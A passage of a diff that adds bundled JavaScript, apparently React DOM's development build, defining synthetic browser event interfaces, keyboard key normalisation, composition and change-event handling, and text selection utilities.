+          altKey: 0,
+          metaKey: 0,
+          getModifierState: getEventModifierState,
+          button: 0,
+          buttons: 0,
+          relatedTarget: function(event) {
+            if (event.relatedTarget === void 0)
+              return event.fromElement === event.srcElement ? event.toElement : event.fromElement;
+            return event.relatedTarget;
+          },
+          movementX: function(event) {
+            if ("movementX" in event) {
+              return event.movementX;
+            }
+            updateMouseMovementPolyfillState(event);
+            return lastMovementX;
+          },
+          movementY: function(event) {
+            if ("movementY" in event) {
+              return event.movementY;
+            }
+            return lastMovementY;
+          }
+        });
+        var SyntheticMouseEvent = createSyntheticEvent(MouseEventInterface);
+        var DragEventInterface = assign({}, MouseEventInterface, {
+          dataTransfer: 0
+        });
+        var SyntheticDragEvent = createSyntheticEvent(DragEventInterface);
+        var FocusEventInterface = assign({}, UIEventInterface, {
+          relatedTarget: 0
+        });
+        var SyntheticFocusEvent = createSyntheticEvent(FocusEventInterface);
+        var AnimationEventInterface = assign({}, EventInterface, {
+          animationName: 0,
+          elapsedTime: 0,
+          pseudoElement: 0
+        });
+        var SyntheticAnimationEvent = createSyntheticEvent(AnimationEventInterface);
+        var ClipboardEventInterface = assign({}, EventInterface, {
+          clipboardData: function(event) {
+            return "clipboardData" in event ? event.clipboardData : window.clipboardData;
+          }
+        });
+        var SyntheticClipboardEvent = createSyntheticEvent(ClipboardEventInterface);
+        var CompositionEventInterface = assign({}, EventInterface, {
+          data: 0
+        });
+        var SyntheticCompositionEvent = createSyntheticEvent(CompositionEventInterface);
+        var SyntheticInputEvent = SyntheticCompositionEvent;
+        var normalizeKey = {
+          Esc: "Escape",
+          Spacebar: " ",
+          Left: "ArrowLeft",
+          Up: "ArrowUp",
+          Right: "ArrowRight",
+          Down: "ArrowDown",
+          Del: "Delete",
+          Win: "OS",
+          Menu: "ContextMenu",
+          Apps: "ContextMenu",
+          Scroll: "ScrollLock",
+          MozPrintableKey: "Unidentified"
+        };
+        var translateToKey = {
+          "8": "Backspace",
+          "9": "Tab",
+          "12": "Clear",
+          "13": "Enter",
+          "16": "Shift",
+          "17": "Control",
+          "18": "Alt",
+          "19": "Pause",
+          "20": "CapsLock",
+          "27": "Escape",
+          "32": " ",
+          "33": "PageUp",
+          "34": "PageDown",
+          "35": "End",
+          "36": "Home",
+          "37": "ArrowLeft",
+          "38": "ArrowUp",
+          "39": "ArrowRight",
+          "40": "ArrowDown",
+          "45": "Insert",
+          "46": "Delete",
+          "112": "F1",
+          "113": "F2",
+          "114": "F3",
+          "115": "F4",
+          "116": "F5",
+          "117": "F6",
+          "118": "F7",
+          "119": "F8",
+          "120": "F9",
+          "121": "F10",
+          "122": "F11",
+          "123": "F12",
+          "144": "NumLock",
+          "145": "ScrollLock",
+          "224": "Meta"
+        };
+        function getEventKey(nativeEvent) {
+          if (nativeEvent.key) {
+            var key = normalizeKey[nativeEvent.key] || nativeEvent.key;
+            if (key !== "Unidentified") {
+              return key;
+            }
+          }
+          if (nativeEvent.type === "keypress") {
+            var charCode = getEventCharCode(nativeEvent);
+            return charCode === 13 ? "Enter" : String.fromCharCode(charCode);
+          }
+          if (nativeEvent.type === "keydown" || nativeEvent.type === "keyup") {
+            return translateToKey[nativeEvent.keyCode] || "Unidentified";
+          }
+          return "";
+        }
+        var modifierKeyToProp = {
+          Alt: "altKey",
+          Control: "ctrlKey",
+          Meta: "metaKey",
+          Shift: "shiftKey"
+        };
+        function modifierStateGetter(keyArg) {
+          var syntheticEvent = this;
+          var nativeEvent = syntheticEvent.nativeEvent;
+          if (nativeEvent.getModifierState) {
+            return nativeEvent.getModifierState(keyArg);
+          }
+          var keyProp = modifierKeyToProp[keyArg];
+          return keyProp ? !!nativeEvent[keyProp] : false;
+        }
+        function getEventModifierState(nativeEvent) {
+          return modifierStateGetter;
+        }
+        var KeyboardEventInterface = assign({}, UIEventInterface, {
+          key: getEventKey,
+          code: 0,
+          location: 0,
+          ctrlKey: 0,
+          shiftKey: 0,
+          altKey: 0,
+          metaKey: 0,
+          repeat: 0,
+          locale: 0,
+          getModifierState: getEventModifierState,
+          charCode: function(event) {
+            if (event.type === "keypress") {
+              return getEventCharCode(event);
+            }
+            return 0;
+          },
+          keyCode: function(event) {
+            if (event.type === "keydown" || event.type === "keyup") {
+              return event.keyCode;
+            }
+            return 0;
+          },
+          which: function(event) {
+            if (event.type === "keypress") {
+              return getEventCharCode(event);
+            }
+            if (event.type === "keydown" || event.type === "keyup") {
+              return event.keyCode;
+            }
+            return 0;
+          }
+        });
+        var SyntheticKeyboardEvent = createSyntheticEvent(KeyboardEventInterface);
+        var PointerEventInterface = assign({}, MouseEventInterface, {
+          pointerId: 0,
+          width: 0,
+          height: 0,
+          pressure: 0,
+          tangentialPressure: 0,
+          tiltX: 0,
+          tiltY: 0,
+          twist: 0,
+          pointerType: 0,
+          isPrimary: 0
+        });
+        var SyntheticPointerEvent = createSyntheticEvent(PointerEventInterface);
+        var TouchEventInterface = assign({}, UIEventInterface, {
+          touches: 0,
+          targetTouches: 0,
+          changedTouches: 0,
+          altKey: 0,
+          metaKey: 0,
+          ctrlKey: 0,
+          shiftKey: 0,
+          getModifierState: getEventModifierState
+        });
+        var SyntheticTouchEvent = createSyntheticEvent(TouchEventInterface);
+        var TransitionEventInterface = assign({}, EventInterface, {
+          propertyName: 0,
+          elapsedTime: 0,
+          pseudoElement: 0
+        });
+        var SyntheticTransitionEvent = createSyntheticEvent(TransitionEventInterface);
+        var WheelEventInterface = assign({}, MouseEventInterface, {
+          deltaX: function(event) {
+            return "deltaX" in event ? event.deltaX : "wheelDeltaX" in event ? -event.wheelDeltaX : 0;
+          },
+          deltaY: function(event) {
+            return "deltaY" in event ? event.deltaY : "wheelDeltaY" in event ? -event.wheelDeltaY : "wheelDelta" in event ? -event.wheelDelta : 0;
+          },
+          deltaZ: 0,
+          deltaMode: 0
+        });
+        var SyntheticWheelEvent = createSyntheticEvent(WheelEventInterface);
+        var END_KEYCODES = [9, 13, 27, 32];
+        var START_KEYCODE = 229;
+        var canUseCompositionEvent = canUseDOM && "CompositionEvent" in window;
+        var documentMode = null;
+        if (canUseDOM && "documentMode" in document) {
+          documentMode = document.documentMode;
+        }
+        var canUseTextInputEvent = canUseDOM && "TextEvent" in window && !documentMode;
+        var useFallbackCompositionData = canUseDOM && (!canUseCompositionEvent || documentMode && documentMode > 8 && documentMode <= 11);
+        var SPACEBAR_CODE = 32;
+        var SPACEBAR_CHAR = String.fromCharCode(SPACEBAR_CODE);
+        function registerEvents() {
+          registerTwoPhaseEvent("onBeforeInput", ["compositionend", "keypress", "textInput", "paste"]);
+          registerTwoPhaseEvent("onCompositionEnd", ["compositionend", "focusout", "keydown", "keypress", "keyup", "mousedown"]);
+          registerTwoPhaseEvent("onCompositionStart", ["compositionstart", "focusout", "keydown", "keypress", "keyup", "mousedown"]);
+          registerTwoPhaseEvent("onCompositionUpdate", ["compositionupdate", "focusout", "keydown", "keypress", "keyup", "mousedown"]);
+        }
+        var hasSpaceKeypress = false;
+        function isKeypressCommand(nativeEvent) {
+          return (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) && !(nativeEvent.ctrlKey && nativeEvent.altKey);
+        }
+        function getCompositionEventType(domEventName) {
+          switch (domEventName) {
+            case "compositionstart":
+              return "onCompositionStart";
+            case "compositionend":
+              return "onCompositionEnd";
+            case "compositionupdate":
+              return "onCompositionUpdate";
+          }
+        }
+        function isFallbackCompositionStart(domEventName, nativeEvent) {
+          return domEventName === "keydown" && nativeEvent.keyCode === START_KEYCODE;
+        }
+        function isFallbackCompositionEnd(domEventName, nativeEvent) {
+          switch (domEventName) {
+            case "keyup":
+              return END_KEYCODES.indexOf(nativeEvent.keyCode) !== -1;
+            case "keydown":
+              return nativeEvent.keyCode !== START_KEYCODE;
+            case "keypress":
+            case "mousedown":
+            case "focusout":
+              return true;
+            default:
+              return false;
+          }
+        }
+        function getDataFromCustomEvent(nativeEvent) {
+          var detail = nativeEvent.detail;
+          if (typeof detail === "object" && "data" in detail) {
+            return detail.data;
+          }
+          return null;
+        }
+        function isUsingKoreanIME(nativeEvent) {
+          return nativeEvent.locale === "ko";
+        }
+        var isComposing = false;
+        function extractCompositionEvent(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget) {
+          var eventType;
+          var fallbackData;
+          if (canUseCompositionEvent) {
+            eventType = getCompositionEventType(domEventName);
+          } else if (!isComposing) {
+            if (isFallbackCompositionStart(domEventName, nativeEvent)) {
+              eventType = "onCompositionStart";
+            }
+          } else if (isFallbackCompositionEnd(domEventName, nativeEvent)) {
+            eventType = "onCompositionEnd";
+          }
+          if (!eventType) {
+            return null;
+          }
+          if (useFallbackCompositionData && !isUsingKoreanIME(nativeEvent)) {
+            if (!isComposing && eventType === "onCompositionStart") {
+              isComposing = initialize(nativeEventTarget);
+            } else if (eventType === "onCompositionEnd") {
+              if (isComposing) {
+                fallbackData = getData();
+              }
+            }
+          }
+          var listeners = accumulateTwoPhaseListeners(targetInst, eventType);
+          if (listeners.length > 0) {
+            var event = new SyntheticCompositionEvent(eventType, domEventName, null, nativeEvent, nativeEventTarget);
+            dispatchQueue.push({
+              event,
+              listeners
+            });
+            if (fallbackData) {
+              event.data = fallbackData;
+            } else {
+              var customData = getDataFromCustomEvent(nativeEvent);
+              if (customData !== null) {
+                event.data = customData;
+              }
+            }
+          }
+        }
+        function getNativeBeforeInputChars(domEventName, nativeEvent) {
+          switch (domEventName) {
+            case "compositionend":
+              return getDataFromCustomEvent(nativeEvent);
+            case "keypress":
+              var which = nativeEvent.which;
+              if (which !== SPACEBAR_CODE) {
+                return null;
+              }
+              hasSpaceKeypress = true;
+              return SPACEBAR_CHAR;
+            case "textInput":
+              var chars = nativeEvent.data;
+              if (chars === SPACEBAR_CHAR && hasSpaceKeypress) {
+                return null;
+              }
+              return chars;
+            default:
+              return null;
+          }
+        }
+        function getFallbackBeforeInputChars(domEventName, nativeEvent) {
+          if (isComposing) {
+            if (domEventName === "compositionend" || !canUseCompositionEvent && isFallbackCompositionEnd(domEventName, nativeEvent)) {
+              var chars = getData();
+              reset();
+              isComposing = false;
+              return chars;
+            }
+            return null;
+          }
+          switch (domEventName) {
+            case "paste":
+              return null;
+            case "keypress":
+              if (!isKeypressCommand(nativeEvent)) {
+                if (nativeEvent.char && nativeEvent.char.length > 1) {
+                  return nativeEvent.char;
+                } else if (nativeEvent.which) {
+                  return String.fromCharCode(nativeEvent.which);
+                }
+              }
+              return null;
+            case "compositionend":
+              return useFallbackCompositionData && !isUsingKoreanIME(nativeEvent) ? null : nativeEvent.data;
+            default:
+              return null;
+          }
+        }
+        function extractBeforeInputEvent(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget) {
+          var chars;
+          if (canUseTextInputEvent) {
+            chars = getNativeBeforeInputChars(domEventName, nativeEvent);
+          } else {
+            chars = getFallbackBeforeInputChars(domEventName, nativeEvent);
+          }
+          if (!chars) {
+            return null;
+          }
+          var listeners = accumulateTwoPhaseListeners(targetInst, "onBeforeInput");
+          if (listeners.length > 0) {
+            var event = new SyntheticInputEvent("onBeforeInput", "beforeinput", null, nativeEvent, nativeEventTarget);
+            dispatchQueue.push({
+              event,
+              listeners
+            });
+            event.data = chars;
+          }
+        }
+        function extractEvents(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget, eventSystemFlags, targetContainer) {
+          extractCompositionEvent(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget);
+          extractBeforeInputEvent(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget);
+        }
+        var supportedInputTypes = {
+          color: true,
+          date: true,
+          datetime: true,
+          "datetime-local": true,
+          email: true,
+          month: true,
+          number: true,
+          password: true,
+          range: true,
+          search: true,
+          tel: true,
+          text: true,
+          time: true,
+          url: true,
+          week: true
+        };
+        function isTextInputElement(elem) {
+          var nodeName = elem && elem.nodeName && elem.nodeName.toLowerCase();
+          if (nodeName === "input") {
+            return !!supportedInputTypes[elem.type];
+          }
+          if (nodeName === "textarea") {
+            return true;
+          }
+          return false;
+        }
+        function isEventSupported(eventNameSuffix) {
+          if (!canUseDOM) {
+            return false;
+          }
+          var eventName = "on" + eventNameSuffix;
+          var isSupported = eventName in document;
+          if (!isSupported) {
+            var element = document.createElement("div");
+            element.setAttribute(eventName, "return;");
+            isSupported = typeof element[eventName] === "function";
+          }
+          return isSupported;
+        }
+        function registerEvents$1() {
+          registerTwoPhaseEvent("onChange", ["change", "click", "focusin", "focusout", "input", "keydown", "keyup", "selectionchange"]);
+        }
+        function createAndAccumulateChangeEvent(dispatchQueue, inst, nativeEvent, target) {
+          enqueueStateRestore(target);
+          var listeners = accumulateTwoPhaseListeners(inst, "onChange");
+          if (listeners.length > 0) {
+            var event = new SyntheticEvent("onChange", "change", null, nativeEvent, target);
+            dispatchQueue.push({
+              event,
+              listeners
+            });
+          }
+        }
+        var activeElement = null;
+        var activeElementInst = null;
+        function shouldUseChangeEvent(elem) {
+          var nodeName = elem.nodeName && elem.nodeName.toLowerCase();
+          return nodeName === "select" || nodeName === "input" && elem.type === "file";
+        }
+        function manualDispatchChangeEvent(nativeEvent) {
+          var dispatchQueue = [];
+          createAndAccumulateChangeEvent(dispatchQueue, activeElementInst, nativeEvent, getEventTarget(nativeEvent));
+          batchedUpdates(runEventInBatch, dispatchQueue);
+        }
+        function runEventInBatch(dispatchQueue) {
+          processDispatchQueue(dispatchQueue, 0);
+        }
+        function getInstIfValueChanged(targetInst) {
+          var targetNode = getNodeFromInstance(targetInst);
+          if (updateValueIfChanged(targetNode)) {
+            return targetInst;
+          }
+        }
+        function getTargetInstForChangeEvent(domEventName, targetInst) {
+          if (domEventName === "change") {
+            return targetInst;
+          }
+        }
+        var isInputEventSupported = false;
+        if (canUseDOM) {
+          isInputEventSupported = isEventSupported("input") && (!document.documentMode || document.documentMode > 9);
+        }
+        function startWatchingForValueChange(target, targetInst) {
+          activeElement = target;
+          activeElementInst = targetInst;
+          activeElement.attachEvent("onpropertychange", handlePropertyChange);
+        }
+        function stopWatchingForValueChange() {
+          if (!activeElement) {
+            return;
+          }
+          activeElement.detachEvent("onpropertychange", handlePropertyChange);
+          activeElement = null;
+          activeElementInst = null;
+        }
+        function handlePropertyChange(nativeEvent) {
+          if (nativeEvent.propertyName !== "value") {
+            return;
+          }
+          if (getInstIfValueChanged(activeElementInst)) {
+            manualDispatchChangeEvent(nativeEvent);
+          }
+        }
+        function handleEventsForInputEventPolyfill(domEventName, target, targetInst) {
+          if (domEventName === "focusin") {
+            stopWatchingForValueChange();
+            startWatchingForValueChange(target, targetInst);
+          } else if (domEventName === "focusout") {
+            stopWatchingForValueChange();
+          }
+        }
+        function getTargetInstForInputEventPolyfill(domEventName, targetInst) {
+          if (domEventName === "selectionchange" || domEventName === "keyup" || domEventName === "keydown") {
+            return getInstIfValueChanged(activeElementInst);
+          }
+        }
+        function shouldUseClickEvent(elem) {
+          var nodeName = elem.nodeName;
+          return nodeName && nodeName.toLowerCase() === "input" && (elem.type === "checkbox" || elem.type === "radio");
+        }
+        function getTargetInstForClickEvent(domEventName, targetInst) {
+          if (domEventName === "click") {
+            return getInstIfValueChanged(targetInst);
+          }
+        }
+        function getTargetInstForInputOrChangeEvent(domEventName, targetInst) {
+          if (domEventName === "input" || domEventName === "change") {
+            return getInstIfValueChanged(targetInst);
+          }
+        }
+        function handleControlledInputBlur(node) {
+          var state = node._wrapperState;
+          if (!state || !state.controlled || node.type !== "number") {
+            return;
+          }
+          {
+            setDefaultValue(node, "number", node.value);
+          }
+        }
+        function extractEvents$1(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget, eventSystemFlags, targetContainer) {
+          var targetNode = targetInst ? getNodeFromInstance(targetInst) : window;
+          var getTargetInstFunc, handleEventFunc;
+          if (shouldUseChangeEvent(targetNode)) {
+            getTargetInstFunc = getTargetInstForChangeEvent;
+          } else if (isTextInputElement(targetNode)) {
+            if (isInputEventSupported) {
+              getTargetInstFunc = getTargetInstForInputOrChangeEvent;
+            } else {
+              getTargetInstFunc = getTargetInstForInputEventPolyfill;
+              handleEventFunc = handleEventsForInputEventPolyfill;
+            }
+          } else if (shouldUseClickEvent(targetNode)) {
+            getTargetInstFunc = getTargetInstForClickEvent;
+          }
+          if (getTargetInstFunc) {
+            var inst = getTargetInstFunc(domEventName, targetInst);
+            if (inst) {
+              createAndAccumulateChangeEvent(dispatchQueue, inst, nativeEvent, nativeEventTarget);
+              return;
+            }
+          }
+          if (handleEventFunc) {
+            handleEventFunc(domEventName, targetNode, targetInst);
+          }
+          if (domEventName === "focusout") {
+            handleControlledInputBlur(targetNode);
+          }
+        }
+        function registerEvents$2() {
+          registerDirectEvent("onMouseEnter", ["mouseout", "mouseover"]);
+          registerDirectEvent("onMouseLeave", ["mouseout", "mouseover"]);
+          registerDirectEvent("onPointerEnter", ["pointerout", "pointerover"]);
+          registerDirectEvent("onPointerLeave", ["pointerout", "pointerover"]);
+        }
+        function extractEvents$2(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget, eventSystemFlags, targetContainer) {
+          var isOverEvent = domEventName === "mouseover" || domEventName === "pointerover";
+          var isOutEvent = domEventName === "mouseout" || domEventName === "pointerout";
+          if (isOverEvent && !isReplayingEvent(nativeEvent)) {
+            var related = nativeEvent.relatedTarget || nativeEvent.fromElement;
+            if (related) {
+              if (getClosestInstanceFromNode(related) || isContainerMarkedAsRoot(related)) {
+                return;
+              }
+            }
+          }
+          if (!isOutEvent && !isOverEvent) {
+            return;
+          }
+          var win;
+          if (nativeEventTarget.window === nativeEventTarget) {
+            win = nativeEventTarget;
+          } else {
+            var doc = nativeEventTarget.ownerDocument;
+            if (doc) {
+              win = doc.defaultView || doc.parentWindow;
+            } else {
+              win = window;
+            }
+          }
+          var from;
+          var to;
+          if (isOutEvent) {
+            var _related = nativeEvent.relatedTarget || nativeEvent.toElement;
+            from = targetInst;
+            to = _related ? getClosestInstanceFromNode(_related) : null;
+            if (to !== null) {
+              var nearestMounted = getNearestMountedFiber(to);
+              if (to !== nearestMounted || to.tag !== HostComponent && to.tag !== HostText) {
+                to = null;
+              }
+            }
+          } else {
+            from = null;
+            to = targetInst;
+          }
+          if (from === to) {
+            return;
+          }
+          var SyntheticEventCtor = SyntheticMouseEvent;
+          var leaveEventType = "onMouseLeave";
+          var enterEventType = "onMouseEnter";
+          var eventTypePrefix = "mouse";
+          if (domEventName === "pointerout" || domEventName === "pointerover") {
+            SyntheticEventCtor = SyntheticPointerEvent;
+            leaveEventType = "onPointerLeave";
+            enterEventType = "onPointerEnter";
+            eventTypePrefix = "pointer";
+          }
+          var fromNode = from == null ? win : getNodeFromInstance(from);
+          var toNode = to == null ? win : getNodeFromInstance(to);
+          var leave = new SyntheticEventCtor(leaveEventType, eventTypePrefix + "leave", from, nativeEvent, nativeEventTarget);
+          leave.target = fromNode;
+          leave.relatedTarget = toNode;
+          var enter = null;
+          var nativeTargetInst = getClosestInstanceFromNode(nativeEventTarget);
+          if (nativeTargetInst === targetInst) {
+            var enterEvent = new SyntheticEventCtor(enterEventType, eventTypePrefix + "enter", to, nativeEvent, nativeEventTarget);
+            enterEvent.target = toNode;
+            enterEvent.relatedTarget = fromNode;
+            enter = enterEvent;
+          }
+          accumulateEnterLeaveTwoPhaseListeners(dispatchQueue, leave, enter, from, to);
+        }
+        function is(x, y) {
+          return x === y && (x !== 0 || 1 / x === 1 / y) || x !== x && y !== y;
+        }
+        var objectIs = typeof Object.is === "function" ? Object.is : is;
+        function shallowEqual(objA, objB) {
+          if (objectIs(objA, objB)) {
+            return true;
+          }
+          if (typeof objA !== "object" || objA === null || typeof objB !== "object" || objB === null) {
+            return false;
+          }
+          var keysA = Object.keys(objA);
+          var keysB = Object.keys(objB);
+          if (keysA.length !== keysB.length) {
+            return false;
+          }
+          for (var i2 = 0; i2 < keysA.length; i2++) {
+            var currentKey = keysA[i2];
+            if (!hasOwnProperty.call(objB, currentKey) || !objectIs(objA[currentKey], objB[currentKey])) {
+              return false;
+            }
+          }
+          return true;
+        }
+        function getLeafNode(node) {
+          while (node && node.firstChild) {
+            node = node.firstChild;
+          }
+          return node;
+        }
+        function getSiblingNode(node) {
+          while (node) {
+            if (node.nextSibling) {
+              return node.nextSibling;
+            }
+            node = node.parentNode;
+          }
+        }
+        function getNodeForCharacterOffset(root2, offset) {
+          var node = getLeafNode(root2);
+          var nodeStart = 0;
+          var nodeEnd = 0;
+          while (node) {
+            if (node.nodeType === TEXT_NODE) {
+              nodeEnd = nodeStart + node.textContent.length;
+              if (nodeStart <= offset && nodeEnd >= offset) {
+                return {
+                  node,
+                  offset: offset - nodeStart
+                };
+              }
+              nodeStart = nodeEnd;
+            }
+            node = getLeafNode(getSiblingNode(node));
+          }
+        }
+        function getOffsets(outerNode) {
+          var ownerDocument = outerNode.ownerDocument;
+          var win = ownerDocument && ownerDocument.defaultView || window;
+          var selection = win.getSelection && win.getSelection();
+          if (!selection || selection.rangeCount === 0) {
+            return null;
+          }
+          var anchorNode = selection.anchorNode, anchorOffset = selection.anchorOffset, focusNode = selection.focusNode, focusOffset = selection.focusOffset;
+          try {
+            anchorNode.nodeType;
+            focusNode.nodeType;
+          } catch (e2) {
+            return null;
+          }
+          return getModernOffsetsFromPoints(outerNode, anchorNode, anchorOffset, focusNode, focusOffset);
+        }
+        function getModernOffsetsFromPoints(outerNode, anchorNode, anchorOffset, focusNode, focusOffset) {
+          var length = 0;
+          var start = -1;
+          var end = -1;
+          var indexWithinAnchor = 0;
+          var indexWithinFocus = 0;
+          var node = outerNode;
+          var parentNode = null;
+          outer:
+            while (true) {
+              var next = null;
+              while (true) {
+                if (node === anchorNode && (anchorOffset === 0 || node.nodeType === TEXT_NODE)) {
+                  start = length + anchorOffset;
+                }
+                if (node === focusNode && (focusOffset === 0 || node.nodeType === TEXT_NODE)) {
+                  end = length + focusOffset;
+                }
+                if (node.nodeType === TEXT_NODE) {
+                  length += node.nodeValue.length;
+                }
+                if ((next = node.firstChild) === null) {
+                  break;
+                }
+                parentNode = node;
+                node = next;
+              }
+              while (true) {
+                if (node === outerNode) {
+                  break outer;
+                }
+                if (parentNode === anchorNode && ++indexWithinAnchor === anchorOffset) {
+                  start = length;
+                }
+                if (parentNode === focusNode && ++indexWithinFocus === focusOffset) {
+                  end = length;
+                }
+                if ((next = node.nextSibling) !== null) {
+                  break;
+                }
+                node = parentNode;
+                parentNode = node.parentNode;
+              }
+              node = next;
+            }
+          if (start === -1 || end === -1) {
+            return null;
+          }
+          return {
+            start,
+            end
+          };
+        }
+        function setOffsets(node, offsets) {
+          var doc = node.ownerDocument || document;
+          var win = doc && doc.defaultView || window;
+          if (!win.getSelection) {
+            return;
+          }
+          var selection = win.getSelection();
+          var length = node.textContent.length;
+          var start = Math.min(offsets.start, length);
+          var end = offsets.end === void 0 ? start : Math.min(offsets.end, length);
+          if (!selection.extend && start > end) {
+            var temp = end;
+            end = start;
+            start = temp;
+          }
+          var startMarker = getNodeForCharacterOffset(node, start);
+          var endMarker = getNodeForCharacterOffset(node, end);
+          if (startMarker && endMarker) {
+            if (selection.rangeCount === 1 && selection.anchorNode === startMarker.node && selection.anchorOffset === startMarker.offset && selection.focusNode === endMarker.node && selection.focusOffset === endMarker.offset) {
+              return;
+            }
+            var range = doc.createRange();
+            range.setStart(startMarker.node, startMarker.offset);
+            selection.removeAllRanges();
+            if (start > end) {
+              selection.addRange(range);
+              selection.extend(endMarker.node, endMarker.offset);
+            } else {
+              range.setEnd(endMarker.node, endMarker.offset);
+              selection.addRange(range);
+            }
+          }
+        }
+        function isTextNode(node) {
+          return node && node.nodeType === TEXT_NODE;
+        }
+        function containsNode(outerNode, innerNode) {
+          if (!outerNode || !innerNode) {
+            return false;
+          } else if (outerNode === innerNode) {
+            return true;
+          } else if (isTextNode(outerNode)) {
+            return false;
+          } else if (isTextNode(innerNode)) {
+            return containsNode(outerNode, innerNode.parentNode);
+          } else if ("contains" in outerNode) {
+            return outerNode.contains(innerNode);
+          } else if (outerNode.compareDocumentPosition) {
+            return !!(outerNode.compareDocumentPosition(innerNode) & 16);
+          } else {
+            return false;
+          }
+        }
+        function isInDocument(node) {
+          return node && node.ownerDocument && containsNode(node.ownerDocument.documentElement, node);
+        }
+        function isSameOriginFrame(iframe) {
+          try {
+            return typeof iframe.contentWindow.location.href === "string";
+          } catch (err) {
+            return false;
+          }
+        }
+        function getActiveElementDeep() {
+          var win = window;
+          var element = getActiveElement();
+          while (element instanceof win.HTMLIFrameElement) {
+            if (isSameOriginFrame(element)) {
+              win = element.contentWindow;
+            } else {
+              return element;
+            }
+            element = getActiveElement(win.document);
+          }
+          return element;
+        }
+        function hasSelectionCapabilities(elem) {
+          var nodeName = elem && elem.nodeName && elem.nodeName.toLowerCase();
+          return nodeName && (nodeName === "input" && (elem.type === "text" || elem.type === "search" || elem.type === "tel" || elem.type === "url" || elem.type === "password") || nodeName === "textarea" || elem.contentEditable === "true");
+        }
+        function getSelectionInformation() {
+          var focusedElem = getActiveElementDeep();
+          return {
+            focusedElem,
+            selectionRange: hasSelectionCapabilities(focusedElem) ? getSelection(focusedElem) : null
+          };
+        }
+        function restoreSelection(priorSelectionInformation) {
+          var curFocusedElem = getActiveElementDeep();
+          var priorFocusedElem = priorSelectionInformation.focusedElem;
+          var priorSelectionRange = priorSelectionInformation.selectionRange;
+          if (curFocusedElem !== priorFocusedElem && isInDocument(priorFocusedElem)) {
+            if (priorSelectionRange !== null && hasSelectionCapabilities(priorFocusedElem)) {
+              setSelection(priorFocusedElem, priorSelectionRange);
+            }
+            var ancestors = [];
+            var ancestor = priorFocusedElem;
+            while (ancestor = ancestor.parentNode) {
+              if (ancestor.nodeType === ELEMENT_NODE) {
+                ancestors.push({
+                  element: ancestor,
+                  left: ancestor.scrollLeft,
+                  top: ancestor.scrollTop
+                });
+              }
+            }
+            if (typeof priorFocusedElem.focus === "function") {
+              priorFocusedElem.focus();
+            }
+            for (var i2 = 0; i2 < ancestors.length; i2++) {
+              var info = ancestors[i2];
+              info.element.scrollLeft = info.left;
+              info.element.scrollTop = info.top;
+            }
+          }
+        }
+        function getSelection(input) {
+          var selection;
+          if ("selectionStart" in input) {
+            selection = {
+              start: input.selectionStart,
+              end: input.selectionEnd
+            };
+          } else {
+            selection = getOffsets(input);
+          }
+          return selection || {
+            start: 0,
+            end: 0
+          };
+        }
+        function setSelection(input, offsets) {
+          var start = offsets.start;
+          var end = offsets.end;
+          if (end === void 0) {
+            end = start;
+          }
+          if ("selectionStart" in input) {
+            input.selectionStart = start;
+            input.selectionEnd = Math.min(end, input.value.length);
+          } else {
+            setOffsets(input, offsets);
+          }
+        }
+        var skipSelectionChangeEvent = canUseDOM && "documentMode" in document && document.documentMode <= 11;
+        function registerEvents$3() {
+          registerTwoPhaseEvent("onSelect", ["focusout", "contextmenu", "dragend", "focusin", "keydown", "keyup", "mousedown", "mouseup", "selectionchange"]);
+        }
+        var activeElement$1 = null;
+        var activeElementInst$1 = null;
+        var lastSelection = null;
+        var mouseDown = false;
+        function getSelection$1(node) {
+          if ("selectionStart" in node && hasSelectionCapabilities(node)) {
+            return {
+              start: node.selectionStart,
+              end: node.selectionEnd
+            };
+          } else {
+            var win = node.ownerDocument && node.ownerDocument.defaultView || window;
+            var selection = win.getSelection();
+            return {
+              anchorNode: selection.anchorNode,
+              anchorOffset: selection.anchorOffset,
+              focusNode: selection.focusNode,
+              focusOffset: selection.focusOffset
+            };
+          }
+        }
+        function getEventTargetDocument(eventTarget) {
+          return eventTarget.window === eventTarget ? eventTarget.document : eventTarget.nodeType === DOCUMENT_NODE ? eventTarget : eventTarget.ownerDocument;
+        }
+        function constructSelectEvent(dispatchQueue, nativeEvent, nativeEventTarget) {
+          var doc = getEventTargetDocument(nativeEventTarget);
+          if (mouseDown || activeElement$1 == null || activeElement$1 !== getActiveElement(doc)) {
+            return;
+          }
+          var currentSelection = getSelection$1(activeElement$1);
+          if (!lastSelection || !shallowEqual(lastSelection, currentSelection)) {
+            lastSelection = currentSelection;
+            var listeners = accumulateTwoPhaseListeners(activeElementInst$1, "onSelect");
+            if (listeners.length > 0) {
+              var event = new SyntheticEvent("onSelect", "select", null, nativeEvent, nativeEventTarget);
+              dispatchQueue.push({
+                event,
+                listeners
+              });
+              event.target = activeElement$1;
+            }
+          }
+        }
+        function extractEvents$3(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget, eventSystemFlags, targetContainer) {
+          var targetNode = targetInst ? getNodeFromInstance(targetInst) : window;
+          switch (domEventName) {
+            case "focusin":
+              if (isTextInputElement(targetNode) || targetNode.contentEditable === "true") {
+                activeElement$1 = targetNode;
+                activeElementInst$1 = targetInst;
+                lastSelection = null;
+              }
+              break;
+            case "focusout":
+              activeElement$1 = null;
+              activeElementInst$1 = null;
+              lastSelection = null;
+              break;
+            case "mousedown":
+              mouseDown = true;
+              break;
+            case "contextmenu":
+            case "mouseup":
+            case "dragend":
+              mouseDown = false;
+              constructSelectEvent(dispatchQueue, nativeEvent, nativeEventTarget);
+              break;
+            case "selectionchange":
+              if (skipSelectionChangeEvent) {
+                break;
+              }
+            case "keydown":
+            case "keyup":
+              constructSelectEvent(dispatchQueue, nativeEvent, nativeEventTarget);
+          }
+        }
+        function makePrefixMap(styleProp, eventName) {
+          var prefixes2 = {};
+          prefixes2[styleProp.toLowerCase()] = eventName.toLowerCase();
+          prefixes2["Webkit" + styleProp] = "webkit" + eventName;
+          prefixes2["Moz" + styleProp] = "moz" + eventName;
+          return prefixes2;
+        }
+        var vendorPrefixes = {
+          animationend: makePrefixMap("Animation", "AnimationEnd"),
+          animationiteration: makePrefixMap("Animation", "AnimationIteration"),
